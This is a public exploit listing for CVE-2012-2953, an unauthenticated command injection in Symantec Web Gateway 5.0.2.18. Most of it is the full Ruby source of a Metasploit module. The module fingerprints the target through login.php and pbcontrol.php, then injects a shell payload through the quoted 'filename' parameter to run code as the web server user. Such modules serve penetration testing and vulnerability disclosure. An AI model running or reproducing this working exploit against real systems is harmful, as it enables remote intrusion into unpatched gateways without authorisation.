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Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection
Posted Jul 27, 2012
Authored by muts, sinn3r | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service. While handling the filename parameter, the Spywall API does not do any filtering before passing it to an exec() call in proxy_file(), thus results in remote code execution under the context of the web server. Please note authentication is NOT needed to gain access.

tags | exploit, remote, web, code execution
advisories | CVE-2012-2953
MD5 | 6db1963cdf4c5a50a1d78eaf7ea6ef43

Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service. While handling the filename parameter, the Spywall API
does not do any filtering before passing it to an exec() call in proxy_file(),
thus results in remote code execution under the context of the web server. Please
note authentication is NOT needed to gain access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'muts', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2012-2953' ],
[ 'BID', '54426' ],
[ 'EDB', '20088' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
],
'Payload' =>
{
#'BadChars' => "\x00\x0d\x0a",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl bash telnet'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.18', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 23 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
], self.class)
end


def check
dir = File.dirname(target_uri.path)

res1 = send_request_raw({'uri' => "#{dir}/login.php"})
res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})

if res1 and res2
if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
return Exploit::CheckCode::Detected
end
end

return Exploit::CheckCode::Safe
end


def exploit
send_request_cgi({
'uri' => target_uri.path,
'method' => 'GET',
'vars_get' => {
'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
'stage' => '0'
}
})

handler
end

end
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